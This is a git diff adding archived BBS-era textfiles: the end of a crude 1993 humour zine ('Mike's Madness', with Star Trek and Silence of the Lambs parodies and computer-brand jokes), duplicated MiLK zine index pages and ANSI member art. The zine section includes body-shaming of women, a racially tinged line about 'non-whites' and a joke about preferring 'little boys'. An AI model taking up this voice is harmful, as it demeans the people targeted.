Madness. . . + + +Now Playing in Cinema I: + +Like "Cops"? + +Like "Star Trek - The Next Generation"? + +Then you're gonna have sticky underwear after you see: + + - - - - - - - - - - - - - + K N A R K S I N S P A C E + - - - - - - - - - - - - - + +Join us in the 24'th century where science has lead us to an awe inspiring +advance in marijuana horticulture: An eighth of greenbud that doesn't +attract 50 "friends"! + +Wesley: "PSST! Data! Data - over here! I copped a jay from my mom's + stash! Dude - it's ALTERIAN!" + +Data: "Young Ensign Crusher, I believe Alterian weed to be + approximately 190% THC with some inert ingredients, which are also + THC. Quite a . . . stony experience . . . as the vernacular goes." + +Wes: "Cheese it, dude! It's Capt. Picard!" + + [Dudes, a few years ago, when TNG first came on, I posed as + Hunter S. Thompson and crashed a Trek convention. Like all the + main dudes were there, including Patrick Stewart. And there + were like these HELLA gross chicks all lustin' after him. Dude + - these were like whale chicks - 2 tonnes minimum, smelled + like fish and you'd have to hold your breath to fuck one. + Anyway, I was all "Dude! I'd hella hate to be Patrick Stewart + because if one of these chicks caught you, you'd have to gnaw + your own dick off to get away" and this chick sees me. I mean, + I only knew she was a chick because basketballs normally don't + have tits. She was like 4'2, a good 250 pounds [actually, + there's nothing "good" about 250 pounds, lest it be the truly, + righteously, wholly stony greenbud], wearing polyester, and green + pants with this hella nasty wet spot around the crotch. And + this nasty ol' woman spotted my alarming red-and-yellow press + badge from across the convention floor and waddled a beeline + towards me, pushing all sorts of normal people aside with her + body odor. + + And she asks: + + "Are you a reporter?" + + And I said: + + "I remember this one time I was in Monterey and this fish + cannery exploded, and even the stench of 9,000 tonnes of dead + haddock rotting for 6 days under the summer sun smelled + roughly 30 trillion times better than you do." + + Ignoring my ever-so-subtle rebuke, she asked: + + "You know what I'd do if I got Patrick Stewart in bed?" + + And I looked at her and whined: + + "Oh Christ, I'll give you 50 bucks if you don't!" + + And she began to describe, in hateful detail, a sex act so + foul you wouldn't do it to a fox (at least not an attractive + one). And when she arrived at, many vile hours later, "And then + I'll make him sniff my panties" I blew three chili dogs and a + good two gallons of Budweiser all over the front of this + spherical woman. I then excused myself and jammed outta there + and was back in Sacramento within the hour. + + Moral: Dude - never, NEVER take your pants off at a Star Trek + convention.] ----- + +Picard: "Ensign Crusher! What is that you have behind your back?" + +Data: "Alterian marijuana buds, Captain." + +Wes: "KNARK!" + +Picard: "Holdin' out! Why you little --" + +Wes: "CAPTAIN! LOOK OUT! It's a grody 300 pound woman with a wet crotch and + the hots for you!" + +Picard: "AGGGRRRRRGGG! KILL IT! KILL IT! THROW SOAP AND DOUCHE AT IT!" + +Data: "Ivory and Massengil right away, sir." + +Wes: "GOT HER! Listen to her scream!" + +Data: "Victory over foulness, Captain." + +Picard: "Hey - where did young Ensign Crusher go?" + +Data: "Computer -- Locate young Ensign Crusher." + +Computer: "Ensign Crusher is blazing massive doobage in holodeck 3. + Program: The Last Prostitute." + +Picard: "That's punishment enough. Commander Data, will you join me + in my ready room?" + +Data: "I thought you'd never ask . . ." + + +There will now follow a note from some whiner who watches +WAY too much TNG . . . + + Dear Miscreant, + + In your recent "humor" piece, you featured our beloved + Commander Data saying "You'd". Commander Data would NEVER say + "you'd" because he does not use contractions. However, he did + say "Go fuck yourself, Beverley" in a recent episode called + "Wesley Gets the Crap Beat Outta Him By a Couple of Ferengi", + which was only shown in Australia. + + Sincerely, + + Mr. + Iwatchwwaytoomuchstartrekthenextgen + erationandmybrainhasturnedintospam. + +P.S.: Speaking of Spam, it's time for the next bit . . . + + +#73: The next bit +#73: The next bit + +Now playing in Cinema II: + +Nominated for 7 Academy Awards including Best Picture and Most Likely to +Cause Violent Stomach Upset . . . + + + Jodie Foster: "I stayed up late one night . . . I saw grandpa + herding them in the barn . . ." + + +Based on a story so nauseating that even a German might spew! + + + Anthony Hopkins: "Then what happened, Clorice?" + + +Proof that no act is so henious that someone isn't willing to try to make a +buck off it. + + + Jodie: "Grandpa opened their little cans . . . I saw the pink + meat . . . the jelly . . . they began to scream . . . + + +>From the author who brought you "THE GREAT ST. LOUIS ENEMA MASSACRE OF +1923", "TEENAGE MASTURBATION: A HOW-TO APPROACH" and no small number of +other books he shoulda kept to himself . . . + + - - - - - - - - - - - - - + S I L E N C E O F T H E S P A M S + - - - - - - - - - - - - - + + (filmed in glorious, 90mm Revolt-O-Vision) + +Man standing in a huge heap of dung: "Oooooo! I wish there was some + kind of software to go with that + movie . . . + +BOTTOM! + + Oh, I wasn't 'posed to say that." + +And now for Mr. D.Q. of D.C. . . . + + +#74: Also the next bit +#74: Also the next bit + +D.Q.: "That's a link, innit? . . . NO! I don't wanna go back on + the re-election trail, George! The nasty ol' press always + makes fun of me! I have to sleep with Marilyn, isn't that + punishment enough?" + + [Oh yeah, Mariyln Quayle - babe-a-licious. NOT! Someone PLEASE + buy that woman a .12 gauge paper sack so we won't have to look + at her face again. She's all turning reporters into statues at + the press conferences and the snakes on her head keep biting + children. I'm serious, she's the coyote date from hell, and + Zippy went off and married her! If we'd seen her at the '88 + convention, we'd known Quayle was incapable of making rational + decisions. I'd like to have seen Dan's internary for his + wedding day: + + 10am - order "Hooked on Phonics" + 11am - try it without the training wheels - again + 12am - Marry the ugliest woman since Grace McDaniels + 1pm - See if "Hooked on Phonics" got here yet + 2pm - ask mom about that "vagina" thing + 3pm - see the ugliest woman since Grace McDaniels naked + 4pm - blow + 5pm - honk + 6pm - spew + 7pm - see if "Hooked on Phonics" got here yet + 8pm - ralph + 9pm - etc.] + + +Anyway, about that software . . . + +You let 'em talk you into Windows . . . + + "Hey - what's this Unrecoverable Application thing?" + +You let 'em talk you into Unix . . . + + "Hey - what're all these letters by the filenames?" + +You shouldn't have let 'em talk you into this . . . + + "Hey - how come the only thing on my screen is + 'I can help you catch him, Clorice'?" + +----------------------------------------- +NEW Lectorbase IV: Silence of the DRAM's! +----------------------------------------- + + "Hey - who took all these bites outta my nudie .GIF's?" + +Available at all finer software outlets and slaughterhouses! + +Lectorbase IV: "What's it do, this spreadsheet you sssssseek?" +(Personally endorsed by Ed Gien, Albert Fish, Alfred Packer, the +entire Uraguayan National Rugby Team and that Dahmler fella) + +Also available atcher friendly local software dealer . . . + +------------- +Jodiebase III: +------------- + + "Hey - there's something hinkley - er, hinkey - 'bout this + thing . . ." + +And now, presenting another amazing case from the files of England's most +amazing detective, Mr. Sherlock Holmes, in: + +----------------------------------------------------------------------------- +"Sherlock Holmes Nicks 5 and 8 From Watson and Spends it on Hookers and Coke" +----------------------------------------------------------------------------- +"Sherlock, I seem to be missing 5 and 8! Have you seen it?" + +"I nicked it and spent the lot on hookers and coke, Watson." + +"By Jove! Another case solved by the amazing mind of Mr. Sherlock Holmes!" + +"Right. Give us a fiver or I'll crap in your hat." + +"I 'aven't got a fiver!" + +"Very well, then . . . " + +ZIIIIIIP!! + + +Now on BBC 2 a new program that's sure to amaze and delight you and +make you forget that France is a mere 25 miles away . . . + + L E T ' S C R A P I N Y O U R H A T ! + +(APPLAUSE) + +Smarmy TV announcer: "Yes, yes, well played by a Mr. S. Holmes. -- + mebbe a little preference for little boys and cocaine, + but a great mind never-the-less. And now on our show, + please welcome Mr. Tim Cancer of Ballsworth. 'ow are + you then?" + +Tim: "I'm fine. Luv'ly day, innit? 'ere -- what's that man doin' + over by me 'at?" + +Announcer: "Never mind that! I understand you have an interesting + hobby, derailing British Rail commuter expresses." + +Tim: "I NEVER! Wha'? That man's taking down his trousers . . ." + +Announcer: "No he isn't!" + +Tim: "'e is so! Why's he squatting over me hat?!" + +Announcer: "Just a local custom. I understand you slept with + Felicity Kendell." + +Tim: "'E JUST CRAPPED IN ME HAT!!!" + +(Applause) + +Announcer: "Another happy contestant. Now get sotted, you nasty + little fox molester!" + +Tim: "Wha? Them photos was FAKED!" + +Announcer: "No they weren't either -- I had helpful and beloved + Commander Data analyzed them photos, and it is indeed you + engaging in completely undescribable vulpine harassing activities!" + +Tim: "KNARK!" + +Data: "It could be worse. I could sell Apple products . . ." + +Tim and Announcer: "EEEEEEeeeeeeeewwwwwwwww . . ." + +Data: "Here, do not forget your hat." (SPLAT!) + + +I had ANOTHER dream. +And, it too, was horrible. +I was at work (and we all know why I'm not telling you where I +work) when Harry Bawls, the local Crapple Rep., came back into the +store. + + "Whazzup scuz?" I asked politely. + + "That's 'cuz' you dreary lad," he informed me. + + "Not in your case." + + "Boy, we got a new promo for the Apple II GS. A celebrity +spokesperson!" + + "Who? Rin-Tin-Tin? That'd make sense, a dog for a dog!" + + "Silence you insolent youth!" + + "So what poor sod is whoring their talent to push that dog dump the +Masters of Sunnyvale mistakenly call a computer?" + + "He's a political celebrity of the highest order! A man of his time! A +thinker amoung men!" + + "So you guys got Dan Quayle, huh?" + + "Bingo, m' lad!" + + "Oh gawd." + + "He had nothing to do with it." + + "That's for damn sure. Okay Harry, what do the Masters of Sunnyvale +want us to do?" + + "We want to bring Dan in the store and . . ." + + "FORGET IT! It took us WEEKS to clear the reek from that little +mis-hap with the II GS: The Next Generation! Bring Danny Boy in here and +we're gonna need an OCEAN of Lysol to remove the stench of bullshit from +the store!" + + "Are you insinuating our beloved Ex-Vice President would speak +anything but the truth?" + + "He's endorsing the GS, ain't he?" + + "Touche' you little bastard." + + "You better watch it, Harry. I'll bring that Compaq 486/50 over here..." + + "KEEP IT AWAY! KEEP IT AWAY!" + + "Thought so. If you ever got within 20 feet of a Compaq, that tiny wad +of phlegm that's been acting as your enfeebled brain would burst into +flames like the stinkin' Hindenburg." + + "Where did this firm acquire you from, lad? What happened to that nice +salesperson who used to sell our products?" + + "Spontaneous human combustion -- he strayed too close to a Compaq. +Lose more Crapple salesmen that way. They take one look at all the power +and it simply overloads the few brain cells they have." + + "Where'd you say that 486/50 was again?" + + "It's close, Harry. Trust me, it's close. And if ya smart off again, +I'll show you the product release for IBM's 586 board!" + + "That idle threat scares me not, lad. I know if IBM just sent out the +product release, it'll be at least another year and a half before the item +is actually in stores." + + "Well, ya got me there. HEY! Crapple should adopt that policy! That +way people would have time to dig a slit trench or whatever else you're +supposed to do when there's a major disaster." + + "Look lad, I want you to put some of these pamphlets on the shelf. +It's Dan's endorsement of the II GS." + + "Lemme read that . . . HEY! This is from Rin-Tin-Tin, not Dan Quayle!" + + "Truth is not even Dan is dumb enough to endorse the GS!" + + +And now . . . + +Number 30: Rin-Tin-Tin's endorsement of the II GS + Rin-Tin-Tin's endorsement of the II GS + + Y'know, after a long afternoon of eating squirrels and biting +non-whites in the crotch, there's nothing I like better than pinching +off a nice, healthy log. Just kinda hunker down and push 'til I +tremble. Makes life worth living. But what always amazes me is that +afterwards some tech from Crapple will come streaking out from behind +a tree yelling "Another CPU for a II GS!". + +---- MEMO ---- + From: The Masters of Sunnyvale + To: All Authorized Crapple Dealers +Subject: Verboten Vocabulary. + +Is nicht on der speken uf: + +o Crap (nope) +o Utter crap (nien) +o Complete and utter crap (nyte) +o Garbage (not even) +o 2 MHz (iz nitch on der speken of this vun) +o Cash refund (iz especially nicht on der speken of zis) +o Dog turd (don't you do it) +o Consumer protection legislation (say it and you'll go the camp) +o Richard M. Nixon (well . . . a little is ok) +o Compaq (absolutely none of this!) +o Steve Wozniak sucks the shmegma from slimey green donkey dicks! +o Hey! Who put that in there? +o What? +o THAT! ^ +o "Hey! Who put that in there?"? +o NO! The other one! +o The "what" part? +o No no no! You know! +o Uh, 'fraid I don't, guv. +o The thing about donkey dicks! +o "Steve Wozniak sucks the shmegma from slimey green donkey dicks"? +o SHHHHHHHHHHH! +o That it then, innit? +o Yes! I wonder who put that in there? +o Hey, who's that bloke in the "Compaq" shirt? +o I dunno . . . HEY! WHAT'S THAT IN HIS HAND?! +o It's a Compaq Systempro Quad 486!!! +o ROTTEN BLOODY CHRIST!! + + * * * huh-BOOOM! * * * + crackle-crackle-crackle + +"It's burst into flames! It crashin and falling! And all of humanity with +it! Flames, some nearly an inch high! The shrieks of the . . . oh - it's +out now." + + + This famous broadcast and scores of others just like it can now be +yours to listen to and enjoy in the comfort of your own home, barn or +outhouse! Scam-Tech proudly announces (for those of you who are not in +law enforcement): + + GREAT ANTI-CLIMAXES OF HISTORY! + +Thrill to men almost landing on the moon! + +"Uh roger, Huston, one-niner-six, 5 yards and descending . . . a +little to the right now [beep] . . . 3 yards . . . picking up a +little dust. Firing jets . . . 1 yard . . . we're in shadow now +[beep!] . . . contact! Roger, Huston - the Eagle has landed. + + Oh shit, we're in Cleveland!" + +Get all hot and breathy as the Japanese nearly attack Pearl Harbor! + + "And here come the Japanese planes! Score of Zero's filling +the air! This is Hickam Field! We're . . . oh, they've gone now. +Nevermind." + +Become nearly orgasmic as the first atomic bomb doesn't explode! + +"7 . . . 6 . . . 5 . . . 4 . . . 3 . . . 2 . . . 1 . . . " + +[dead silence] + +". . . bummer, dude." + +Eject long, ragged spurts of seminal fluid as Mike's Madness comes +to an end! + +(push the button, Frank) + +Assorted offensive tripe keyed in by no other than: Mike Beebe. + +----- +(C) 1993 Yucks for You, Inc. + +Mike's Madness is written by Mike Beebe. +Mike currently has no internet mailing address. +Send all feedback to and it will be forwarded. +Back-issues: anonymous ftp from (128.227.224.1) + in directory /pub/mikesmad. (Thanks, Eric!) +Mailing list additions/deletions: + diff --git a/textfiles.com/magazines/MILK.1 b/textfiles.com/magazines/MILK.1 new file mode 100644 index 00000000..cf3ab2b9 --- /dev/null +++ b/textfiles.com/magazines/MILK.1 @@ -0,0 +1,111 @@ + +T E X T F I L E S + +

Electronic Magazines: MiLK (and MiLK and Tea)

+

+MiLK is a classic, strong example of the trend of mid-1990's textfile +writing groups: They give a good laugh, a lot of entertainment, and they +make you feel like you're a part of their group as they tell you how +screwed up they think the world is, and how much there is to laugh at. +They team up with a group called "Tea" for a number of issues, as well +as a couple of tag files for their name and BBS list. +

+Apparently, they didn't talk to each other a lot, because a lot of +issue numbers are doubled. It all works out in the end, anyway. +

+Maybe I'm just tired from reading thousands of textfiles, but Issue #40 +(The Guide to Atari) very nearly made me fall out of chair, laughing. +Good stuff. +

+ + + + +
+
Filename
Size
Description of the Textfile
m&tmem.ans 898
 Milk and Tea Membership Listing (ANSI) +
m&tmem.asc 1665
 Milk and Tea Membership Listing (ASCII) +
m2.dat 4530
 List of the MiLK Files (Text File Collection) +
milk&tea.001 7100
 Milk and Tea Issue #001 "My Brain Exploded" by James Hetfield +
milk&tea.002 6781
 Milk and Tea Issue #002 "Obloid Recollections" by Nyarlatheotep +
milk&tea.003 6624
 Milk and Tea Issue #003 "Travel by Night" by Snakelady +
milk&tea.004 4168
 Milk and Tea Issue #004 "Tired" by Pip the Angry Youth +
milk&tea.005 5688
 Milk and Tea Issue #005 "Keet" by Snakelady +
milk&tea.006 7512
 Milk and Tea Issue #006 "Cheese Wheels of Doom" by Malakai +
milk&tea.007 4081
 Milk and Tea Issue #007 "Cheese Party!" by Nyarlathotep +
milk&tea.008 4363
 Milk and Tea Issue #008 "Satern" by James Hetfield +
milk&tea.009 7185
 Milk and Tea Issue #009 "Drugs, Fine Wine, Revolution and More Drugs" by Epic +
milk-001.txt 7344
 Milk #001: Cows! Where MiLK Comes from, by James Hetfield +
milk-002.txt 5905
 Milk #002: Warez Boards Can be Fun, by James Hetfield +
milk-003.txt 4022
 Milk #003: MiLK's Guide to being an Asshole, by James Hetfield +
milk-004.txt 2186
 Milk #004: The Hunt, by James Hetfield +
milk-005.txt 3871
 Milk #004: Carrie Jacobson: A Case Study, by Epic +
milk-006.txt 10156
 Milk #006: Pete, by Nyarlathotep +
milk-007.txt 6976
 Milk #004: Are You Easily Influenced? by Epic +
milk-008.txt 10881
 Milk #008: Tang Beverage Crystals by Epic +
milk-009.txt 3661
 Milk #009: Joe, by Plaid Wilderbeast +
milk-010.txt 2652
 Milk #010: Sugar High, by James Hetfield +
milk-011.txt 6714
 Milk #011: Propoganda and Shit, by James Hetfield +
milk-012.txt 5715
 Milk #011: Supermarket Sweet by Epic +
milk-013.txt 14263
 Milk #013: Milk Poetry Volume 1 by James Hetfield and Mendeleev +
milk-014.txt 5750
 Milk #014: Wank Bunny, by James Hetfield +
milk-015.txt 4994
 Milk #015: Wank Bunny Part II, by James Hetfield +
milk-016.txt 6173
 Milk #016: Ostrich Rider from Philadelphia, by Medicine Man +
milk-017.txt 5184
 Milk #017: Jest Fox: part 1? by Black Justice +
milk-018.txt 6948
 Milk #018: Pete Part II, by Nyarlathotep +
milk-019.txt 5442
 Milk #019: Jest Fox: part 2 by Black justice +
milk-020.txt 5712
 Milk #020: The Terrific Safety Pin by Epic +
milk-021.txt 4619
 Milk #018: Lemmy, by Igor Shimsky +
milk-022.txt 4149
 Milk #022: Faces in the halls, by James Hetfield +
milk-023.txt 10769
 Milk #023: The Inferno Chronicles, by James Hetfield +
milk-024.txt 2907
 Milk #024: Fast Money Milk Style by Nature Boy +
milk-025.txt 4347
 Milk #025: Millie, by Yohan Bawk +
milk-026.txt 5223
 Milk #026: Just Add Water by Epic +
milk-027.txt 4536
 Milk #027: As You Were, by Epic +
milk-028.txt 6733
 Milk #038: People Are Shitheads, by Yohan Bawk +
milk-029.txt 3243
 Milk #029: Anarchy! And Shit, by James Hetfield +
milk-030.txt 4456
 Milk #030: Easy Ways to Shock Your Parents by Biff Thelmus Bonglemeister III +
milk-031.txt 3881
 Milk #031: 50 Ways to Say FART, by Black Justice +
milk-032.txt 4960
 Milk #032: Let's Talk About Sex, by Biff Thelmus Bonglemeister III +
milk-033.txt 3836
 Milk #033: A Welcome or Something by IceMECH +
milk-034.txt 6293
 Milk #034: Keeping Things In Their Proper Perspective, by Biff Thelmus Bonglemeister III +
milk-035.txt 18775
 Milk #035: The Feeding, by James Hetfield +
milk-036.txt 8967
 Milk #036: Road to Somewhere, by Whoops +
milk-037.txt 8496
 Milk #037: The Religion of the Spambiterians by Malakai +
milk-038.txt 8606
 Milk #038: Conrad, by Conrad +
milk-039.txt 7826
 Milk #039: Malakai's Guide to power BBSing, by Malakai +
milk-040.txt 9625
 Milk #040: The MiLK Guide to Atari, by Atari John +
milk-041.txt 3760
 Milk #040: How to Fly, by King Krazy +
milk-042.txt 15814
 Milk #042: The Regurgitation by Whoops +
milk-043.txt 12949
 Milk #043: no Title Cuz We're Confused, by Randall Flagg +
milk-044.txt 3971
 Milk #044: OJ Simpson, by Winter Solstice +
milk-045.txt 8622
 Milk #045: Sleep, by malakai +
milk-046.txt 3520
 Milk #046: The Facts about Lampreys, by James Hetfield +
milk-047.txt 4765
 Milk #047: Eat Pills, by Epic +
milk-048.txt 6123
 Milk #048: How to / Sarcasm / Not, by Whoops +
milk-049.txt 7241
 Milk #049: The Big Book of Ducks, by Malakai +
milk-050.txt 9172
 Milk #050: MiLK Update 7/94, by Concerned MiLK members +
milk-051.txt 3087
 Milk #051: Propaganda and Shit II, by James Hetfield +
milk-053.txt 2942
 Milk #053: Conpoems by Conradz +
milk-054.txt 4162
 Milk #054: I'm here to make You Bleed, by Frizzle Fry +
milk-055.txt 5488
 Milk #055: Silly Pathetic Adventures of Malakai, by Malakai +
milk-056.txt 5038
 Milk #056: TV Today, by Nyarlathotep +
milk-057.txt 4814
 Milk #057: Stress, by Epic +
milk-058.txt 5977
 Milk #058: Chat-Addiction Anonymous by James Hetfield +
milk-059.txt 6548
 Milk #059: My Greatest Writing Ever, by James Hetfield +
milk-060.txt 2839
 Milk #060: The Curtain by James Hetfield +
milk-061.txt 4677
 +
milk-062.txt 2164
 +
milk-tea.010 10645
 Milk and Tea Issue #10: The Poetry Issue #1 +
milk-tea.011 10325
 Milk and Tea Issue #11: The Wastebasket, by Groovy Mann +
milk-tea.012 6585
 Milk and Tea Issue #12: Stalkings, by James Hetfield +
milk1.ans 3175
 ANSI Tag File for MiLK +
milkbig1.txt 40622
 MiLK Big Issue #1 +
milkbig2.txt 34797
 MiLK Big Issue #2 +
milkbig3.txt 23479
 MiLK Big Issue #3 +
milkbig4.txt 31876
 MiLK Big Issue #4 +
milkdist.ans 1268
 The List of MiLK BBSes +
submit.nfo 1997
 Submission Form to Write for Milk and Tea +

There are 83 files for a total of 605,833 bytes.

+ + + diff --git a/textfiles.com/magazines/MILK/.windex.html b/textfiles.com/magazines/MILK/.windex.html new file mode 100644 index 00000000..639ff958 --- /dev/null +++ b/textfiles.com/magazines/MILK/.windex.html @@ -0,0 +1,111 @@ + +T E X T F I L E S + +

Electronic Magazines: MiLK (and MiLK and Tea)

+

+MiLK is a classic, strong example of the trend of mid-1990's textfile +writing groups: They give a good laugh, a lot of entertainment, and they +make you feel like you're a part of their group as they tell you how +screwed up they think the world is, and how much there is to laugh at. +They team up with a group called "Tea" for a number of issues, as well +as a couple of tag files for their name and BBS list. +

+Apparently, they didn't talk to each other a lot, because a lot of +issue numbers are doubled. It all works out in the end, anyway. +

+Maybe I'm just tired from reading thousands of textfiles, but Issue #40 +(The Guide to Atari) very nearly made me fall out of chair, laughing. +Good stuff. +

+ + + + +
+
Filename
Size
Description of the Textfile
m&tmem.ans 898
 Milk and Tea Membership Listing (ANSI) +
m&tmem.asc 1665
 Milk and Tea Membership Listing (ASCII) +
m2.dat 4530
 List of the MiLK Files (Text File Collection) +
milk&tea.001 7100
 Milk and Tea Issue #001 "My Brain Exploded" by James Hetfield +
milk&tea.002 6781
 Milk and Tea Issue #002 "Obloid Recollections" by Nyarlatheotep +
milk&tea.003 6624
 Milk and Tea Issue #003 "Travel by Night" by Snakelady +
milk&tea.004 4168
 Milk and Tea Issue #004 "Tired" by Pip the Angry Youth +
milk&tea.005 5688
 Milk and Tea Issue #005 "Keet" by Snakelady +
milk&tea.006 7512
 Milk and Tea Issue #006 "Cheese Wheels of Doom" by Malakai +
milk&tea.007 4081
 Milk and Tea Issue #007 "Cheese Party!" by Nyarlathotep +
milk&tea.008 4363
 Milk and Tea Issue #008 "Satern" by James Hetfield +
milk&tea.009 7185
 Milk and Tea Issue #009 "Drugs, Fine Wine, Revolution and More Drugs" by Epic +
milk-001.txt 7344
 Milk #001: Cows! Where MiLK Comes from, by James Hetfield +
milk-002.txt 5905
 Milk #002: Warez Boards Can be Fun, by James Hetfield +
milk-003.txt 4022
 Milk #003: MiLK's Guide to being an Asshole, by James Hetfield +
milk-004.txt 2186
 Milk #004: The Hunt, by James Hetfield +
milk-005.txt 3871
 Milk #004: Carrie Jacobson: A Case Study, by Epic +
milk-006.txt 10156
 Milk #006: Pete, by Nyarlathotep +
milk-007.txt 6976
 Milk #004: Are You Easily Influenced? by Epic +
milk-008.txt 10881
 Milk #008: Tang Beverage Crystals by Epic +
milk-009.txt 3661
 Milk #009: Joe, by Plaid Wilderbeast +
milk-010.txt 2652
 Milk #010: Sugar High, by James Hetfield +
milk-011.txt 6714
 Milk #011: Propoganda and Shit, by James Hetfield +
milk-012.txt 5715
 Milk #011: Supermarket Sweet by Epic +
milk-013.txt 14263
 Milk #013: Milk Poetry Volume 1 by James Hetfield and Mendeleev +
milk-014.txt 5750
 Milk #014: Wank Bunny, by James Hetfield +
milk-015.txt 4994
 Milk #015: Wank Bunny Part II, by James Hetfield +
milk-016.txt 6173
 Milk #016: Ostrich Rider from Philadelphia, by Medicine Man +
milk-017.txt 5184
 Milk #017: Jest Fox: part 1? by Black Justice +
milk-018.txt 6948
 Milk #018: Pete Part II, by Nyarlathotep +
milk-019.txt 5442
 Milk #019: Jest Fox: part 2 by Black justice +
milk-020.txt 5712
 Milk #020: The Terrific Safety Pin by Epic +
milk-021.txt 4619
 Milk #018: Lemmy, by Igor Shimsky +
milk-022.txt 4149
 Milk #022: Faces in the halls, by James Hetfield +
milk-023.txt 10769
 Milk #023: The Inferno Chronicles, by James Hetfield +
milk-024.txt 2907
 Milk #024: Fast Money Milk Style by Nature Boy +
milk-025.txt 4347
 Milk #025: Millie, by Yohan Bawk +
milk-026.txt 5223
 Milk #026: Just Add Water by Epic +
milk-027.txt 4536
 Milk #027: As You Were, by Epic +
milk-028.txt 6733
 Milk #038: People Are Shitheads, by Yohan Bawk +
milk-029.txt 3243
 Milk #029: Anarchy! And Shit, by James Hetfield +
milk-030.txt 4456
 Milk #030: Easy Ways to Shock Your Parents by Biff Thelmus Bonglemeister III +
milk-031.txt 3881
 Milk #031: 50 Ways to Say FART, by Black Justice +
milk-032.txt 4960
 Milk #032: Let's Talk About Sex, by Biff Thelmus Bonglemeister III +
milk-033.txt 3836
 Milk #033: A Welcome or Something by IceMECH +
milk-034.txt 6293
 Milk #034: Keeping Things In Their Proper Perspective, by Biff Thelmus Bonglemeister III +
milk-035.txt 18775
 Milk #035: The Feeding, by James Hetfield +
milk-036.txt 8967
 Milk #036: Road to Somewhere, by Whoops +
milk-037.txt 8496
 Milk #037: The Religion of the Spambiterians by Malakai +
milk-038.txt 8606
 Milk #038: Conrad, by Conrad +
milk-039.txt 7826
 Milk #039: Malakai's Guide to power BBSing, by Malakai +
milk-040.txt 9625
 Milk #040: The MiLK Guide to Atari, by Atari John +
milk-041.txt 3760
 Milk #040: How to Fly, by King Krazy +
milk-042.txt 15814
 Milk #042: The Regurgitation by Whoops +
milk-043.txt 12949
 Milk #043: no Title Cuz We're Confused, by Randall Flagg +
milk-044.txt 3971
 Milk #044: OJ Simpson, by Winter Solstice +
milk-045.txt 8622
 Milk #045: Sleep, by malakai +
milk-046.txt 3520
 Milk #046: The Facts about Lampreys, by James Hetfield +
milk-047.txt 4765
 Milk #047: Eat Pills, by Epic +
milk-048.txt 6123
 Milk #048: How to / Sarcasm / Not, by Whoops +
milk-049.txt 7241
 Milk #049: The Big Book of Ducks, by Malakai +
milk-050.txt 9172
 Milk #050: MiLK Update 7/94, by Concerned MiLK members +
milk-051.txt 3087
 Milk #051: Propaganda and Shit II, by James Hetfield +
milk-053.txt 2942
 Milk #053: Conpoems by Conradz +
milk-054.txt 4162
 Milk #054: I'm here to make You Bleed, by Frizzle Fry +
milk-055.txt 5488
 Milk #055: Silly Pathetic Adventures of Malakai, by Malakai +
milk-056.txt 5038
 Milk #056: TV Today, by Nyarlathotep +
milk-057.txt 4814
 Milk #057: Stress, by Epic +
milk-058.txt 5977
 Milk #058: Chat-Addiction Anonymous by James Hetfield +
milk-059.txt 6548
 Milk #059: My Greatest Writing Ever, by James Hetfield +
milk-060.txt 2839
 Milk #060: The Curtain by James Hetfield +
milk-061.txt 4677
 +
milk-062.txt 2164
 +
milk-tea.010 10645
 Milk and Tea Issue #10: The Poetry Issue #1 +
milk-tea.011 10325
 Milk and Tea Issue #11: The Wastebasket, by Groovy Mann +
milk-tea.012 6585
 Milk and Tea Issue #12: Stalkings, by James Hetfield +
milk1.ans 3175
 ANSI Tag File for MiLK +
milkbig1.txt 40622
 MiLK Big Issue #1 +
milkbig2.txt 34797
 MiLK Big Issue #2 +
milkbig3.txt 23479
 MiLK Big Issue #3 +
milkbig4.txt 31876
 MiLK Big Issue #4 +
milkdist.ans 1268
 The List of MiLK BBSes +
submit.nfo 1997
 Submission Form to Write for Milk and Tea +

There are 83 files for a total of 605,833 bytes.

+ + + diff --git a/textfiles.com/magazines/MILK/m&tmem.ans b/textfiles.com/magazines/MILK/m&tmem.ans new file mode 100644 index 00000000..126986a3 --- /dev/null +++ b/textfiles.com/magazines/MILK/m&tmem.ans @@ -0,0 +1,4 @@ +haloÛ Ü ÜÛindigoÛÜÜ ÜÜ ß Û ÛÜßÜÜÛ ÛÜÜ ÜÜÛ ÜÜÛÜÜ ÜÜÜÜ ÜÜÜÛ Û  + Û Û Û ÛÛÛ Û Û Û Û ÛÛ ÛÜÜÛ Û ÛÛ ß Û Û ÛÜÜÜ Û ßÜ ßßÛ Û Û ßÜÜÛÛ ÛÜÜÜÜ ßßÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ +ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Member Listing (As of 2/1):Senior Staff:James HetfieldRattleWriters:picSnakelady +NyarlathotepMalakaiAND:Tasty Snack: Pip the Angry Youth diff --git a/textfiles.com/magazines/MILK/m&tmem.asc b/textfiles.com/magazines/MILK/m&tmem.asc new file mode 100644 index 00000000..2a3988fc --- /dev/null +++ b/textfiles.com/magazines/MILK/m&tmem.asc @@ -0,0 +1,22 @@ +ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ +³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ ³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ ³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ ³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ +³°³ ³°³°³°ÀÄ´°Ú¿À¿ ³°³ ³°³°³°ÀÄ´°Ú¿À¿ ³°³ ³°³°³°ÀÄ´°Ú¿À¿ ³°³ ³°³°³°ÀÄ´°Ú¿À¿ +ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ +ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ M&T Member Listing (as of 2/1): ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ +³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ ³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ +³°³ 